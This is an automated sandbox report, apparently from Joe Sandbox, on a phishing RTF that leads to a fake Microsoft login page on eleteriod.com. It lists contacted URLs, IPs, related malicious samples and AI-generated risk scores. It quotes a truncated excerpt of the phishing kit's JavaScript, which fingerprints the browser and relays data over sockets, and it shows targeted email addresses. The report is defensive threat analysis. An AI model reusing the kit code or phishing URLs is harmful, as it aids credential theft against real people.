https://l6agz47874.eleteriod.com/ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/pqOXwEJDxFZyzN1auv36	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129	0%	Avira URL Cloud	safe
https://airbornemx.com/Scanned_from_Xexox_Multifun...	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api2/	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=EAX%2FRU%2Bc7z2xxx%2FJ9wQlhyY7eqZcpLaGFfqm%2FpsPPQF%2FQfgPXygs2%2B54S9fdCZrRITVHyGwXx31xb6uu6g3XHuVjt0d8scfaSaecMWxgWl59qtw9o5ybzegDv2ylYQ%3D%3D	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/23tBEhtKGMgm89BkdRhzvw70	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/56RriKccTQyAhplO4d67VmBjviYuv59	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false		unknown
code.jquery.com	151.101.2.137	true	false		unknown
d2vgu95hoyrpkh.cloudfront.net	13.227.219.47	true	false		unknown
l6agz47874.eleteriod.com	188.114.97.3	true	true		unknown
challenges.cloudflare.com	104.17.3.184	true	false		unknown
www.google.com	172.217.16.196	true	false		unknown
cdn.socket.io	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://l6agz47874.eleteriod.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/nmZPXExYNWLex4mM7631aNGhsiAsiJXNjNRAer	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/887eb68febf4728a/1716400905710/4539064854afb4f32570c5bc254e9c2c21c56b69a3fe49046984c2bf6f485953/Gi_dQDPtKhTCYfB	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://l6agz47874.eleteriod.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=887eb68febf4728a	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu	true		unknown
https://l6agz47874.eleteriod.com/ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=	true		unknown
https://l6agz47874.eleteriod.com/wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/k3hof49809/?NYtodd.france@airbornemx.com	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/aberie6jZkbpqVFEef25	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/k3hof49809/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal	false		unknown
https://l6agz47874.eleteriod.com/90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb	false	Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false	URL Reputation: safe	unknown
https://l6agz47874.eleteriod.com/12GxD1xKYiaDaUT560Micgpqr50	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/12HIw9eOWu0absr2Ad26720	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/pqOXwEJDxFZyzN1auv36	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/56RriKccTQyAhplO4d67VmBjviYuv59	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=EAX%2FRU%2Bc7z2xxx%2FJ9wQlhyY7eqZcpLaGFfqm%2FpsPPQF%2FQfgPXygs2%2B54S9fdCZrRITVHyGwXx31xb6uu6g3XHuVjt0d8scfaSaecMWxgWl59qtw9o5ybzegDv2ylYQ%3D%3D	false	Avira URL Cloud: safe	unknown
https://l6agz47874.eleteriod.com/23tBEhtKGMgm89BkdRhzvw70	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://airbornemx.com/Scanned_from_Xexox_Multifun...	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/	chromecache_351.6.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
216.58.212.164	unknown	United States		15169	GOOGLEUS	false
104.17.3.184	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
13.227.219.47	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false
151.101.2.137	code.jquery.com	United States		54113	FASTLYUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
188.114.97.3	l6agz47874.eleteriod.com	European Union		13335	CLOUDFLARENETUS	true
188.114.96.3	unknown	European Union		13335	CLOUDFLARENETUS	false
172.217.16.196	www.google.com	United States		15169	GOOGLEUS	false
104.17.2.184	unknown	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1445932
Start date and time:	2024-05-22 20:00:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf
Detection:	MAL
Classification:	mal72.phis.winRTF@23/308@22/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .rtf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.113.194.132, 2.19.244.127, 52.111.231.23, 52.111.231.26, 52.111.231.25, 52.111.231.24, 192.229.221.95, 20.42.73.31, 2.19.120.23, 2.19.120.28, 2.16.164.89, 2.16.164.34, 142.250.185.67, 142.250.185.142, 142.251.168.84, 34.104.35.123, 184.28.90.27, 142.250.181.227, 216.58.212.138, 172.217.16.202, 142.250.185.138, 172.217.18.106, 142.250.184.202, 142.250.186.170, 142.250.185.74, 142.250.186.138, 172.217.18.10, 142.250.185.170, 216.58.206.42, 142.250.185.234, 142.250.74.202, 142.250.185.106, 142.250.186.106, 216.58.206.74, 142.250.185.99, 216.58.212.142
Excluded domains from analysis (whitelisted): binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdeus21.eastus.cloudapp.azure.com, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, update.googleapis.com, officeclient.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, www.bing.com, clients1.google.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, e26769.dscb.akamaiedge.net, prod-eu-resolver.naturallanguageeditorservice.osi.o
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Airbornemx SWIFT COPY _ Wednesday May 2024..rtf

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Model: gpt-4o	```json { "riskscore": 7, "reasons": "The code contains several red flags that suggest it could be malicious. It collects user agent information, which can be used for fingerprinting. It also includes functionality for socket communication, which could be used to exfiltrate data. The presence of obfuscated variables and email addresses further raises suspicion. However, without more context or evidence of harmful actions, it is not definitively malicious." }
var websitenames = ["godaddy"]; var capnum = 1; var appnum = 1; var view = ""; var pagelinkval = "tdx2r"; var emailcheck = "todd.france@airbornemx.com"; var webname = "rtrim(/web8/, '/')"; var urlo = "qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb"; var gdf = "ghfjpOAzviiISYAVh4nPZcTuvPVnNWISJf7G0Qcd120"; var pagedata = ""; var portnum = ""; var namespaceSocket = ""; var redirecturl = ""; var browserconnected = 0; var ReconnectListenerRegistered = 0; var socketdisconnectedsend = 0; var uid = ""; let socketqueue = []; let socketqueuereq = []; let userAgent = navigator.userAgent; let browserName; let userip; let usercountry; var errorcodeexecuted = false; if(userAgent.match(/chrome\|chromium\|crios/i)){ browserName = "chrome"; } else if(userAgent.match(/firefox\|fxios/i)){ browserName = "firefox"; } else if(userAgent.match(/safari/i)){ browserName = "safari"; } else if(userAgent.match(/opr\//i)){ browserName = "opera"; } else if(userAgent.match(/edg/i)){ browserName = "edge"; } else{ browserName="No browser detection"; } const sendAndReceive = (route, args, getresponse) => { if (!namespaceSocket.connected) { socketdisconnectedsend = 1; } var socketentry = { route: route, responsesent: false, responsereceived: false }; socketqueue.push(socketentry); var data = { route: route, arguments: args, getresponse: getresponse }; socketqueuereq.push(data); return new Promise((resolve, reject) => { const emitRequest = () => { namespaceSocket.emit('send_to_browser', data); socketqueue[0].responsesent = true; }; const emitRequestnew = () => { namespaceSocket.emit('send_to_browser', socketqueuereq[socketqueuereq.length - 1]); socketqueue[socketqueue.length - 1].responsesent = true; }; const reconnectListener = () => { namespaceSocket.on('user_reconnected', () => { if ((!socketqueue[0].responsesent \|\| socketqueue[0].responsesent && socketqueue[0].responsesent == false) \|\| socketdisconnectedsend == 1) { console.log("connection connected after socket"); if(socketdisconnectedsend == 1){ emitRequestnew(); } namespaceSocket.off('user_reconnected', reconnectListener); } else if (socketqueue[0].responsesent == true && socketdisconnectedsend == 0) { console.log("connection connected after socket response send"); namespaceSocket.emit('send_to_browser', {route: "getprevresponse",arguments: [],getresponse: 1}); namespaceSocket.off('user_reconnected', reconnectListener); } }); }; const responseListener = (response) => { if(response.type && response.type == 'prevresponse'){ console.log('prev response recieved'); if(response.message == 'found prev response'){ // socketqueue[0].responsereceived = true; namespaceSocket.emit('send_to_browser', {route: "responserecieved",arguments: [],getresponse: 0}); ReconnectListenerRegistered = 3; socketdisconnectedsend = 0 namespaceSock
URL: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu' is highly suspicious and does not match the legitimate domain name associated with Microsoft. The page contains a login form, which is a common element in phishing sites. The domain name 'eleteriod.com' is not related to Microsoft, indicating that this is likely a phishing attempt." }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://p538.tumenum.com/4568/	Get hash	malicious	HTMLPhisher	Browse
	Pilatus-Aircraft _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse
	Nwleicestershire SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	Tsl _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://neweventx.bgmis-mobile.com/	Get hash	malicious	HTMLPhisher	Browse
	http://bt-103301.weeblysite.com/	Get hash	malicious	Unknown	Browse
239.255.255.250	http://curve-amm.com	Get hash	malicious	Unknown	Browse
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse
	https://url10.mailanyone.net/scanner?m=1s944h-0002To-5d&d=4%7Cmail%2F90%2F1716215400%2F1s944h-0002To-5d%7Cin10e%7C57e1b682%7C12862802%7C10019077%7C664B5F2B87AB20AB3656F0529EAA66DD&o=%2Fphtn%3A%2Fits-ftefceoraoefi.ognclmoc&s=TEjbZJDtuXxOW0FjTVUpySy9uwY	Get hash	malicious	Unknown	Browse
	https://idujew.sbs/NOT5u64664/index.php?lpkey=174916883959189c66&trkd=edygik.org&lpkey1=55d651zqqmy1nvr4a6&language=en-GB&scanid=55d651zqqmy1nvr4a6&ip=84.43.87.132&t1=36&t2=ALL&t3=pn&t4=796&t5=1805&dm=1&pbid=3417&uid=8xOEX_FfuSdS9gxXBMKnAtAB9taRkK&uclick=1zqqmy1nvr&uclickhash=1zqqmy1nvr-1zqqmy1nvr-b4-x9-8r8n-2tmyi4-2t1n3y-a154fa	Get hash	malicious	Unknown	Browse
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	http://www.cpcheckme.com	Get hash	malicious	Unknown	Browse
188.114.97.3	SSDQ115980924.exe	Get hash	malicious	FormBook	Browse	www.ilodezu.com/z48v/
	http://twomancake.com	Get hash	malicious	Unknown	Browse	twomancake.com/
	125hGBgWz4WzJqk.exe	Get hash	malicious	Lokibot	Browse	merckllc.top/kin/five/fre.php
	ARRIVAL NOTICE.doc	Get hash	malicious	Lokibot	Browse	spencerstuartllc.top/evie2/five/fre.php
	Inventory_list.xls	Get hash	malicious	Unknown	Browse	i8.ae/cGrnN
	Inventory_list.xls	Get hash	malicious	Unknown	Browse	i8.ae/cGrnN
	Pepsico LLC Company Profile.xls	Get hash	malicious	Unknown	Browse	dokdo.in/iCM
	https://url10.mailanyone.net/scanner?m=1s8UKG-0004E8-5Q&d=4%7Cmail%2F90%2F1716078000%2F1s8UKG-0004E8-5Q%7Cin10a%7C57e1b682%7C12862802%7C10019077%7C664946600FC17EE4BB6DF523D2A883B4&o=%2Fphta%3A%2Fmtsnail.yoe-n.gblpcosoe9%2Fac3-4-e9mth.h9&s=1mPfQBETHBPuKWtxkpT_CvbF_Fc	Get hash	malicious	HTMLPhisher	Browse	epifn.sesquipea.com/epIFn/
	SlHgSOYcMY.exe	Get hash	malicious	Unknown	Browse	htcmania.com/wp-admin/
	PURCHASE ORDER_REQUEST.xla.xlsx	Get hash	malicious	Unknown	Browse	dokdo.in/
13.227.219.47	https://xq1j.evarmewo.com/D7quCX/	Get hash	malicious	HTMLPhisher	Browse
	https://url10.mailanyone.net/scanner?m=1s9RAq-0006Jb-5U&d=4%7Cmail%2F90%2F1716304200%2F1s9RAq-0006Jb-5U%7Cin10b%7C57e1b682%7C12862802%7C10019077%7C664CBA043C901E446EE1366D62D3BA7A&o=%2Fphta%3A%2Fmtscedi.a.okligc%2Faz&s=ZaaFSMwYUUOJ9JHDFB21Y3MQK1I	Get hash	malicious	HTMLPhisher	Browse
	https://xhorizont.com/en/component/users/?task=registration.activate&token=b7317ed6417533656dadf0850a2f41af&Itemid=607	Get hash	malicious	Unknown	Browse
104.17.3.184	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse
	https://worker-yellow-recipe-87f5.krevidajrezart.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://url12.mailanyone.net/scanner?m=1s9N28-0000qa-3G&d=4%7Cmail%2F90%2F1716288000%2F1s9N28-0000qa-3G%7Cin12d%7C57e1b682%7C11949542%7C14589158%7C664C7BD820EF00EA9CDA64C5861AF4A9&o=%2Fphta%3A%2Fvtslekssiaipcr.te%2Ftoenscino-x-pk%2F6tRunvbhyfphp.x&s=qPX4ToIpiLV6GTYf9V69nGT5pss	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://url2.mailanyone.net/scanner?m=1s81O6-0008Br-4D&d=4%7Cmail%2F90%2F1715966400%2F1s81O6-0008Br-4D%7Cin2d%7C57e1b682%7C17902772%7C12174482%7C664793DA5572258CACEE6A71CCB20F04&o=%2Fphty%3A%2Fmtseapesprstlmoc.&s=sNIZzYHyUIvQ6OVMbKtEQNJjOqk	Get hash	malicious	Unknown	Browse
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://p538.tumenum.com/4568/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d2vgu95hoyrpkh.cloudfront.net	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	18.245.31.89
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.32.145.9
	https://p538.tumenum.com/4568/	Get hash	malicious	HTMLPhisher	Browse	18.245.31.89
	https://WZWsc.ingeakr.com/cQtz4O/#YWxleGFuZHJlLmhlcmlhcmQtZHVicmV1aWxAbGNhdHRlcnRvbi5jb20=	Get hash	malicious	HTMLPhisher	Browse	18.245.31.5
	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Aroyalweddingsktm.com%2Fimgs%2F37534%2Fsin3qp16kb%2FbWFyYy5zbWl0aEB6YmV0YS5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.227.219.97
	https://www.google.co.in/amp/s/www.google.com%2Furl%3Fq%3Dhttps%253A%252F%252Flinkprotect.cudasvc.com%252Furl%253Fa%253Dhttps%253A%252F%252Fwww.visaliakawasaki.com%252FElementSettings%252Fwww.visaliakawasaki.com%252FViewSwitcher%252FSwitchView%253Fmobile%25253DTrue%252526returnUrl%25253Dhttps%253A%252F%252Fu44590137.ct.sendgrid.net%2525252Fls%2525252Fclick%2525253Fupn%2525253Du001.GjIPgTulbfriEzQws5bSKQ0tBwgDf638cPIbrF7bBS8NN2MSd8LfwpRfwqfZEGcjwx-2FiuTfrARoUEAvK7M4n-2BAg1-2F-2FELp5mbBCr0JpdUspiR4oOxJWlS78YEBXijZzkpDiow2nY9KnoFU4ondac8lETPxsyfIct1leS36BfzpkQFKz3TSN9vr61CiVS4uHuNxHob1YUQlV-2BuCeGkvPZJV-2Fo6nAK0QlEj0EmBYAIy3ug8F51T3ZDa-2B0U9lsOqpmba-2FjupN30EfyuEJ9V8e6kbUqxVB0dBioMo5Q1FZl2HioSDtvdcNiAGq-2FmCD-2BpOCdTj4QHZ1svLtVhW3tuPt3TtsKIhMyEQSCBs4KE0QMxTg7Tz3z8lSQNT9N-2Fv2njFNugtWC55_ePYPF6nkF-2BGqBPgpX-2FhQmioAe0Ok4T3S5or1jtZ-2Ff383C4htchEL8ALyz-2FlVDREoFm5EYW0CKJH8Ggnzzvs7KZs3lddF5XzBqvbWlUq3b7V8WyhGiFvjiJtK7QU5N-2Bw2l0QVeej2h7lohWb4z7akLA6ULkTMilx4MGaOA76Y-2F5HTpAh-2FdbwkpAokcG5eM9Rgxr4DfjrCXIjRfG-2BxidDnJzSHi3PNzjjg2x85tMoFNvNhO8MXLTCfsTp2viUCW4cwXWH41yL3YRc97LTzO-2Bs1tiekgXBuymyjOOUCwrfeaoXHwdrUnOC9lLkSCEyEphHHVSUXTRheWH0LQ7d2Vy6YeuU-2FjUnSGfGD3ETh0RWvsTi4KIuS1qozJTidO-2BKbzSC9TN6-2FxeDkpH2v1OcpEc8Fy-2FLfywg7-2FYgWvv7vnLqr0rtoJRdMZ5ykC1gZl1L6PvUe%2526c%253DE%252C1%252C5bEVim247z1fGhtUhmYwbNu1H8iIZr4NrgaCfUxKZdTyuUxW48gwPUfsoILDy-FCjYA5-2MCgtJlXy5N3PAFAD47XFHidB4K4cNJC7Z-FhFR1P96vPVq%2526typo%253D1%26sa%3DD%26sntz%3D1%26usg%3DAOvVaw1azOLVizvjWw-irSjGm96x#dGhhbGxAb3AtZi5vcmc=	Get hash	malicious	HTMLPhisher	Browse	13.227.219.40
	https://app.writesonic.com/share/undefined/d39fda15-8db2-4c14-a53a-3ed94b26ade1	Get hash	malicious	HTMLPhisher	Browse	13.32.145.26
	https://www.google.co.in/amp/s/www.google.com%2Furl%3Fq%3Dhttps%253A%252F%252Flinkprotect.cudasvc.com%252Furl%253Fa%253Dhttps%253A%252F%252Fwww.visaliakawasaki.com%252FElementSettings%252Fwww.visaliakawasaki.com%252FViewSwitcher%252FSwitchView%253Fmobile%25253DTrue%252526returnUrl%25253Dhttps%253A%252F%252Fu44590137.ct.sendgrid.net%2525252Fls%2525252Fclick%2525253Fupn%2525253Du001.GjIPgTulbfriEzQws5bSKQ0tBwgDf638cPIbrF7bBS8NN2MSd8LfwpRfwqfZEGcjwx-2FiuTfrARoUEAvK7M4n-2BAg1-2F-2FELp5mbBCr0JpdUspiR4oOxJWlS78YEBXijZzkpDiow2nY9KnoFU4ondac8lETPxsyfIct1leS36BfzpkQFKz3TSN9vr61CiVS4uHuNxHob1YUQlV-2BuCeGkvPZJV-2Fo6nAK0QlEj0EmBYAIy3ug8F51T3ZDa-2B0U9lsOqpmba-2FjupN30EfyuEJ9V8e6kbUqxVB0dBioMo5Q1FZl2HioSDtvdcNiAGq-2FmCD-2BpOCdTj4QHZ1svLtVhW3tuPt3TtsKIhMyEQSCBs4KE0QMxTg7Tz3z8lSQNT9N-2Fv2njFNugtWC55_ePYPF6nkF-2BGqBPgpX-2FhQmioAe0Ok4T3S5or1jtZ-2Ff383C4htchEL8ALyz-2FlVDREoFm5EYW0CKJH8Ggnzzvs7KZs3lddF5XzBqvbWlUq3b7V8WyhGiFvjiJtK7QU5N-2Bw2l0QVeej2h7lohWb4z7akLA6ULkTMilx4MGaOA76Y-2F5HTpAh-2FdbwkpAokcG5eM9Rgxr4DfjrCXIjRfG-2BxidDnJzSHi3PNzjjg2x85tMoFNvNhO8MXLTCfsTp2viUC